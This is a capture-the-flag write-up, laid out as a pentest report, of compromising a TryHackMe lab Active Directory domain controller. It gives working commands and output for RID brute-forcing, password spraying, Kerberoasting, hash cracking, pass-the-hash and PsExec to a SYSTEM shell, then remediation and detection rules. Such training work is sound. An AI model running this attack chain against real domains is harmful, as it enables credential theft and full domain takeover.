Active Directory Penetration Test Writeup

Domain Controller Compromise via Kerberoasting & Pass-the-Hash

---

Penetration Tester Information

Name: Muhammad Hozaifa Naeem
University: COMSATS University Islamabad, Attock Campus
Platform: TryHackMe
Hacker Handle: hyena
Room Name: Soupedecode 01

Target Information

Target Domain: SOUPEDECODE.LOCAL
IP Address: 10.10.34.153
Hostname: DC01.SOUPEDECODE.LOCAL
Operating System: Windows Server 2022 (Build 20348)
Final Access Level: NT AUTHORITY\SYSTEM
Assessment Date: January 22, 2026
Engagement Type: TryHackMe Capture The Flag

Executive Summary

This penetration test successfully compromised a Windows Active Directory Domain Controller through a chain of misconfigurations and security weaknesses. The attack progressed from anonymous SMB enumeration to full SYSTEM-level access on the domain controller, representing complete domain compromise.

Critical Findings:

- Guest SMB access enabled user enumeration
- Weak password policy allowed credential compromise
- Kerberoasting yielded service account credentials
- Insecure backup storage exposed machine account hashes
- Pass-the-Hash attack achieved SYSTEM access

Table of Contents

---

1. Reconnaissance

1.1 Host Discovery

Command:

```
bash
```

```
ping -c 1 10.10.34.153
```

Output:

```
64 bytes from 10.10.34.153: icmp_seq=1 ttl=127 time=52.5 ms
```

Analysis:
TTL value of 127 indicates a Windows system (default Windows TTL is 128, decremented by 1 hop). This passive OS fingerprinting guides subsequent attack strategies.

1.2 Port Scanning

Command:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.34.153 -oG allPorts
```

Open Ports:

```
53    - DNS
88    - Kerberos
135   - RPC
139   - NetBIOS
389   - LDAP
445   - SMB
464   - Kerberos Password Change
593   - RPC over HTTP
636   - LDAPS
3268  - Global Catalog
3269  - Global Catalog SSL
3389  - RDP
9389  - Active Directory Web Services
49664, 49667, 49675, 49716, 49798 - Dynamic RPC
```

Finding:
Port combination signature matches an Active Directory Domain Controller. Presence of Kerberos (88), LDAP (389/636), and Global Catalog ports (3268/3269) confirms this is not a standard Windows server.

---

2. Enumeration

2.1 Service Version Detection

Command:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 10.10.34.153 -oN targeted
```

Key Findings:

```
Domain Name: SOUPEDECODE.LOCAL
Computer Name: DC01
FQDN: DC01.SOUPEDECODE.LOCAL
OS Version: Windows Server 2022 Build 20348
SMB Signing: Required (enabled)
```

Implications:

- SMB signing requirement prevents NTLM relay attacks
- Attack must focus on credential-based exploitation
- Kerberos and authenticated SMB enumeration are viable paths

2.2 SMB Anonymous Enumeration

Command:

```bash
nxc smb dc01.soupedecode.local -u 'guest' -p '' --shares
```

Result:

```
[+] SOUPEDECODE.LOCAL\guest
IPC$  READ
```

Vulnerability: Improper Access Control
Severity: Medium
Impact: Guest account has read access to IPC$ share, enabling RPC-based enumeration without credentials.

2.3 RID Brute Force Attack

Command:

```bash
nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000
```

Discovered Accounts:

```
500  - Administrator
501  - Guest
502  - krbtgt
1103 - admin
1104 - ybob317
1000 - DC01$ (machine account)
```

Technique Explanation:
Every Windows account has a Security Identifier (SID) ending with a Relative Identifier (RID). By brute-forcing RID values via RPC calls, we enumerate all domain accounts without authentication.

Vulnerability: Excessive Information Disclosure
Severity: Medium
Impact: Enables creation of valid username wordlist for password attacks

2.4 Username Harvesting

Command:

```bash
nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000 | \
  grep SidTypeUser | cut -d '\' -f 2 | cut -d ' ' -f 1 > valid_usernames.txt
```

Output File (valid_usernames.txt):

```
Administrator
Guest
krbtgt
admin
ybob317
```

This creates a weaponized username list for authentication attacks.

---

3. Initial Access

3.1 Password Spraying Attack

Command:

```bash
nxc smb dc01.soupedecode.local -u valid_usernames.txt -p valid_usernames.txt \
  --no-bruteforce --continue-on-success
```

Successful Credential:

```
[+] SOUPEDECODE.LOCAL\ybob317:ybob317
```

Vulnerability: Weak Password Policy
Severity: High
Attack Type: Username-as-password authentication
Impact: Valid domain credentials obtained

Why This Worked:

- User chose password identical to username
- No password complexity enforcement

- No account lockout threshold detected
- Common weakness in AD environments

3.2 Authenticated SMB Share Enumeration

Command:

```bash
nxc smb dc01.soupedecode.local -u ybob317 -p ybob317 --shares
```

Accessible Shares:

```
Users     - READ
NETLOGON  - READ
SYSVOL    - READ
```

Finding:
User has read access to other domain users' home directories, indicating over-permissive file share permissions.

3.3 User Flag Retrieval

Command:

```bash
smbclient.py SOUPEDECODE.LOCAL/ybob317:ybob317@dc01.soupedecode.local
```

SMB Shell Commands:

```
use Users
cd ybob317/Desktop
get user.txt
```

Achievement: Initial access confirmed - Domain User level access obtained

---

4. Privilege Escalation

4.1 Kerberoasting Attack

Command:

```bash
nxc ldap 10.10.34.153 -u ybob317 -p ybob317 --kerberoast kerb.hash
```

Extracted Service Account Hashes:

```
file_svc
firewall_svc
backup_svc
web_svc
monitoring_svc
```

Kerberoasting Explained:

Kerberoasting exploits the Kerberos authentication protocol:

1. Service accounts are assigned Service Principal Names (SPNs)
2. Any authenticated domain user can request TGS tickets for SPNs
3. TGS tickets are encrypted with the service account's NTLM hash
4. Tickets can be cracked offline without triggering account lockouts

Vulnerability: Kerberos Protocol Abuse + Weak Service Passwords
Severity: High
MITRE ATT&CK: T1558.003

4.2 Hash Cracking

Command:

```bash
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt
```

Cracked Credential:

```
file_svc : [PASSWORD REDACTED]
```

Attack Characteristics:

- Offline attack (no detection in event logs)
- No account lockout risk
- Success depends on password strength
- Common AD exploitation technique

4.3 Service Account Access Verification

Command:

```bash
nxc smb dc01.soupedecode.local -u file_svc -p '[PASSWORD]' --shares
```

New Share Access:

```
backup  - READ
```

Finding: Service account has access to backup share, likely containing sensitive data

---

5. Lateral Movement

5.1 Backup Share Enumeration

Command:

```
bash

smbclient.py SOUPEDECODE.LOCAL/file_svc:[PASSWORD]@dc01.soupedecode.local
```

Discovered File:

```
backup_extract.txt - Contains NTLM hashes
```

Vulnerability: Credential Exposure in Backups
Severity: Critical
Impact: Machine account hashes exposed

5.2 Hash Extraction

Commands:

```
bash

# Extract usernames
cut -d: -f1 backup_extract.txt > backup_users.txt

# Extract NTLM hashes
cut -d: -f4 backup_extract.txt > backup_hashes.txt
```

Critical Finding:

```
FileServer$ : e41da7e79a4c76dbd9cf79d1cb325559
```

Machine accounts (ending in $) typically have elevated privileges and can authenticate to domain resources.

5.3 Pass-the-Hash Validation

Command:

```bash
nxc smb 10.10.34.153 -u backup_users.txt -H backup_hashes.txt --no-brute
```

Result:

```
[+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
```

Pass-the-Hash Explained:

NTLM authentication allows using the hash directly without knowing the plaintext password. The hash IS the authentication credential in Windows environments.

---

6. Domain Compromise

6.1 PsExec Failed Attempts

Common Errors Encountered:

Attempt 1:

```bash
impacket-psexec SOUPEDECODE.LOCAL/FileServer$@dc01.soupedecode.local \
  -hashes :e41da7e79a4c76dbd9cf79d1cb325559
```

Error: Name or service not known

Attempt 2:

```bash
impacket-psexec SOUPEDECODE.LOCAL/FileServer$@10.10.34.153 \
  -hashes :e41da7e79a4c76dbd9cf79d1cb325559
```

Error: Name or service not known

Root Cause: Incorrect syntax and hostname resolution issues

6.2 Successful PsExec Execution

Correct Command:

```bash
impacket-psexec -hashes :e41da7e79a4c76dbd9cf79d1cb325559 \
  SOUPEDECODE.LOCAL/FileServer$@10.10.34.153
```

Output:

```
[*] Found writable share ADMIN$
[*] Uploading file XOGGHHTN.exe
[*] Creating service IiKH
[*] Starting service IiKH
[*] Opening SVCManager on 10.10.34.153
[*] Starting service IiKH
```

PsExec Mechanism:

1. Connects to ADMIN$ share (requires admin rights)
2. Uploads service executable
3. Creates Windows service via RPC

4. Executes service as SYSTEM
5. Provides interactive shell

6.3 SYSTEM Shell Obtained

Shell Output:

```
Microsoft Windows [Version 10.0.20348.587]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Privilege Verification:

```cmd
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
DC01
```

Achievement: Complete domain controller compromise
Access Level: NT AUTHORITY\SYSTEM (highest privilege)
Impact: Full domain takeover

6.4 Common Windows Command Mistakes

Failed Command:

```cmd
C:\Windows\system32> ls
'ls' is not recognized as an internal or external command
```

Correct Windows Commands:

```
cmd

dir      - List directory contents
whoami   - Display current user
hostname - Display computer name
type     - Display file contents
cd       - Change directory
```

---

7. Attack Chain Summary

```
┌──────────────────────────────────────────────────────────────────
│               ATTACK PATH OVERVIEW                │
└──────────────────────────────────────────────────────────────────

1. RECONNAISSANCE
   └─▶ Ping scan (TTL 127 → Windows detected)
   └─▶ Port scan (DC signature ports found)

2. ENUMERATION
   └─▶ SMB Guest Login (IPC$ access)
   └─▶ RID Brute Force (user enumeration)
   └─▶ Username harvesting

3. INITIAL ACCESS
   └─▶ Password Spray (ybob317:ybob317)
   └─▶ SMB shell access
   └─▶ User flag obtained

4. PRIVILEGE ESCALATION
   └─▶ Kerberoasting (service accounts)
```

```
    └─▶ Hash cracking (file_svc compromised)

 5. LATERAL MOVEMENT
    └─▶ Backup share access
    └─▶ Credential extraction (machine hashes)

 6. DOMAIN COMPROMISE
    └─▶ Pass-the-Hash (FileServer$ account)
    └─▶ PsExec execution
    └─▶ SYSTEM shell obtained
    └─▶ Domain Controller fully compromised
```

---

8. Vulnerabilities & Recommendations

8.1 Vulnerability Summary Table

#	Vulnerability	Severity	CVSS	Impact
1	Guest SMB Access	Medium	5.3	User enumeration
2	Excessive Information Disclosure	Medium	5.3	RID brute force
3	Weak Password Policy	High	8.1	Initial access
4	Kerberoastable Service Accounts	High	8.8	Privilege escalation
5	Credentials in Backups	Critical	9.8	Lateral movement
6	Over-permissive File Shares	Medium	6.5	Data exposure
7	Pass-the-Hash Vulnerability	Critical	9.8	Domain compromise

8.2 Detailed Remediation

Finding 1: Guest SMB Access

Current State: Guest account can access IPC$ share
Risk: Enables anonymous user and group enumeration

Remediation:

```powershell
# Disable guest account
net user guest /active:no

# Restrict anonymous enumeration
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RestrictAnonymous /t REG_DWORD /d 1 /

# Disable null session access
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RestrictAnonymousSAM /t REG_DWORD
```

Finding 2: Weak Password Policy

Current State: Users can set passwords equal to usernames
Risk: Password spraying attacks succeed

Remediation:

```powershell
```

```
# Implement strong password policy via GPO
# Minimum 14 characters
# Complexity enabled
# Password history: 24
# Maximum age: 60 days
# Account lockout: 5 attempts, 30 min duration

# Deploy fine-grained password policy
Import-Module ActiveDirectory
New-ADFineGrainedPasswordPolicy -Name "StrongPasswordPolicy" `
  -Precedence 10 `
  -MinPasswordLength 14 `
  -ComplexityEnabled $true `
  -MinPasswordAge "1.00:00:00" `
  -MaxPasswordAge "60.00:00:00" `
  -PasswordHistoryCount 24 `
  -LockoutDuration "00:30:00" `
  -LockoutObservationWindow "00:30:00" `
  -LockoutThreshold 5
```

Finding 3: Kerberoastable Service Accounts

Current State: Service accounts with weak passwords
Risk: Offline hash cracking

Remediation:

1. Use Group Managed Service Accounts (gMSA)

powershell

```
# Create gMSA
New-ADServiceAccount -Name file_svc_gMSA -DNSHostName dc01.soupedecode.local -PrincipalsAll
```

2. Implement 25+ character randomly generated passwords
3. Enable AES encryption for Kerberos

```powershell
# Configure Kerberos encryption types
Set-ADUser file_svc -KerberosEncryptionType AES128,AES256
```

4. Monitor for Kerberoasting attempts

```powershell
# Event ID 4769 with ticket encryption type 0x17 (RC4)
```

Finding 4: Credentials in Backup Files

Current State: NTLM hashes stored in plaintext backup files
Risk: Critical credential exposure

Remediation:

1. Encrypt all backup files with BitLocker or equivalent
2. Restrict backup share access (remove "Authenticated Users")
3. Implement privileged access workstations for backup access
4. Regular credential rotation for machine accounts
5. Use tools like LAPS for local admin password management

Finding 5: Pass-the-Hash Attack Surface

Current State: NTLM authentication enabled
Risk: Hash-based authentication bypass

Remediation:

powershell

```powershell
# Disable NTLM authentication (where possible)
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LmCompatibilityLevel /t REG_DWORD /d

# Enable Credential Guard
# Requires UEFI, Secure Boot, TPM 2.0
Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform
```

8.3 Monitoring & Detection

Implement the following detection mechanisms:

1. **SMB Enumeration Detection**
   - Monitor Event ID 4625 (failed logons)
   - Alert on multiple RPC calls from single source
   - IDS rules for RID enumeration patterns
2. **Password Spray Detection**
   - Event ID 4625 with failure reason 0xC000006A
   - Multiple usernames, single password, single source IP
   - Azure AD Identity Protection (if hybrid)
3. **Kerberoasting Detection**
   - Event ID 4769 with encryption type 0x17
   - Service ticket requests for unusual SPNs
   - High volume TGS requests from single account
4. **PsExec Detection**
   - Event ID 7045 (new service installed)
   - ADMIN$ share access
   - Service executables with unusual names

Recommended SIEM Rules:

```
Rule 1: RID Brute Force
  if (event_id == 4661 AND object_type == "SAM" AND count > 50 in 60s)
    then alert "Possible RID enumeration"

Rule 2: Kerberoasting
  if (event_id == 4769 AND encryption == 0x17 AND count > 10 in 60s)
    then alert "Possible Kerberoasting attack"

Rule 3: PsExec
  if (event_id == 7045 AND service_name matches regex "^[A-Z]{4,8}$")
    then alert "Possible PsExec execution"
```

---

9. Lessons Learned

9.1 Attacker Perspective

What Worked Well:

- Systematic enumeration revealed attack path
- Password spraying with common patterns succeeded
- Kerberoasting is highly effective against weak service passwords
- Machine account hashes provide significant privilege escalation

Challenges Encountered:

- PsExec syntax errors delayed exploitation
- Windows vs Linux command differences
- Hostname resolution inconsistencies

Key Takeaways:

- AD environments have predictable attack patterns
- Credential-based attacks bypass many technical controls
- Backups are frequently overlooked treasure troves
- Machine accounts are powerful escalation vectors

9.2 Defender Perspective

Critical Failures:

1. Guest account enabled with SMB access
2. No password complexity enforcement
3. Service accounts with human-readable passwords
4. Unencrypted credential storage in backups
5. Lack of detection capabilities

Defense in Depth Failures:

- Perimeter security adequate (no direct RCE)
- Identity security completely failed
- No monitoring or detection layer
- Backup security non-existent

---

10. References

10.1 Tools Used

Tool	Version	Purpose
Nmap	7.94	Port scanning & service detection
NetExec (nxc)	Latest	SMB/LDAP enumeration & attacks
Impacket	0.12.0	SMB client & PsExec
Hashcat	6.2.6	Hash cracking

10.2 MITRE ATT&CK Mapping

Tactic	Technique	ID
Reconnaissance	Active Scanning	T1595
Initial Access	Valid Accounts	T1078
Credential Access	Brute Force	T1110.003
Credential Access	Kerberoasting	T1558.003
Credential Access	OS Credential Dumping	T1003
Lateral Movement	Remote Services	T1021.002
Privilege Escalation	Valid Accounts	T1078

10.3 CVE References

- CVE-2020-1472 (Zerologon) - Not exploited but relevant

- Pass-the-Hash - Not a CVE, protocol design issue
- Kerberoasting - Not a CVE, protocol abuse

10.4 Further Reading

1. "Active Directory Security" - Sean Metcalf
2. "Attacking Active Directory: 0 to 0.9" - Zer1t0
3. Microsoft Active Directory Security Best Practices
4. SANS SEC560: Network Penetration Testing and Ethical Hacking
5. MITRE ATT&CK Framework - Active Directory Focus

Appendix A: Complete Command Reference

```bash
```

```
# === RECONNAISSANCE ===
ping -c 1 10.10.34.153
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.34.153 -oG allPorts

# === ENUMERATION ===
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,3389,9389 10.10.34.153 -oN targeted
nxc smb dc01.soupedecode.local -u 'guest' -p '' --shares
nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000
nxc smb dc01.soupedecode.local -u 'guest' -p '' --rid-brute 3000 | grep SidTypeUser | cut -d '\' -f 2 | cut -d

# === INITIAL ACCESS ===
nxc smb dc01.soupedecode.local -u valid_usernames.txt -p valid_usernames.txt --no-bruteforce --continu
nxc smb dc01.soupedecode.local -u ybob317 -p ybob317 --shares
smbclient.py SOUPEDECODE.LOCAL/ybob317:ybob317@dc01.soupedecode.local

# === PRIVILEGE ESCALATION ===
nxc ldap 10.10.34.153 -u ybob317 -p ybob317 --kerberoast kerb.hash
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt
nxc smb dc01.soupedecode.local -u file_svc -p '[PASSWORD]' --shares

# === LATERAL MOVEMENT ===
cut -d: -f1 backup_extract.txt > backup_users.txt
cut -d: -f4 backup_extract.txt > backup_hashes.txt
nxc smb 10.10.34.153 -u backup_users.txt -H backup_hashes.txt --no-brute

# === EXPLOITATION ===
impacket-psexec -hashes :e41da7e79a4c76dbd9cf79d1cb325559 SOUPEDECODE.LOCAL/FileServer$

# === POST-EXPLOITATION ===
whoami
hostname
dir
```

Appendix B: Glossary

Active Directory (AD): Microsoft's directory service for Windows domain networks

Domain Controller (DC): Server that authenticates users and enforces security policies

Kerberos: Network authentication protocol used by Active Directory

Kerberoasting: Attack that extracts service account credentials via Kerberos tickets

NTLM Hash: One-way hashed password representation in Windows

Pass-the-Hash: Authentication using NTLM hash instead of plaintext password

PsExec: Tool for executing processes on remote Windows systems

RID (Relative Identifier): Unique number appended to SID for each account

SID (Security Identifier): Unique identifier for security principals in Windows

SMB (Server Message Block): Network file sharing protocol used by Windows

SPN (Service Principal Name): Unique identifier for service instances in Kerberos

TGS (Ticket Granting Service): Kerberos component that issues service tickets

TTL (Time To Live): Packet lifespan indicator, useful for OS fingerprinting

---

Document Version: 1.0
Last Updated: January 22, 2026
Classification: Confidential - Penetration Test Report

Document Metadata

Engagement Type: Internal Penetration Test

Methodology: OWASP WSTG, PTES, MITRE ATT&CK

Tools: Nmap, NetExec, Impacket, Hashcat

Scope: Single domain controller (10.10.34.153)

Duration: Single session engagement

Risk Rating: CRITICAL

End of Report